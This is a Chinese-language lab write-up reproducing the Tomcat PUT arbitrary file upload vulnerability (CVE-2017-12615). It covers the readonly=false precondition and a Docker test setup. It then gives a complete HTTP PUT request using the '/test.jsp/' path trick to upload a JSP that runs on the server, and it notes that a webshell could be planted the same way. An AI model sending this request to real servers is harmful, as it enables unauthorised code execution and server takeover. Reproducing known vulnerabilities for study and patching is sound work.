漏洞復(fù)現(xiàn)-通過PUT方法的Tomcat任意寫入文件漏洞(CVE-2017-12615)
當(dāng) Tomcat 運(yùn)行在 Windows 主機(jī)上,且啟用了 HTTP PUT 請求方法(例如,將 readonly 初始化參數(shù)由默認(rèn)值設(shè)置為 false),攻擊者將有可能可通過精心構(gòu)造的攻擊請求向服務(wù)器上傳包含任意代碼的 JSP 文件。之后,JSP 文件中的代碼將能被服務(wù)器執(zhí)行。
環(huán)境準(zhǔn)備

image.png
訪問http://ip:8080

image.png
要滿足這個(gè)漏洞的產(chǎn)生,需要tomcat配置readonly = false。
這導(dǎo)致我們可以將文件寫到服務(wù)器中。
進(jìn)入docker容器tomcat中

image.png
發(fā)現(xiàn)web.xml配置文件中的readonly = false

image.png
達(dá)成可以漏洞利用的條件。
構(gòu)造一個(gè)put形式的請求包。
PUT /test.jsp/ HTTP/1.1
Host: 192.168.154.129:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
<% out.print("hello"); %>

image.png
完成后訪問生成的路徑,發(fā)現(xiàn)成功執(zhí)行了請求代碼。

image.png
攻擊者可以成功上傳 webshell,并控制服務(wù)器。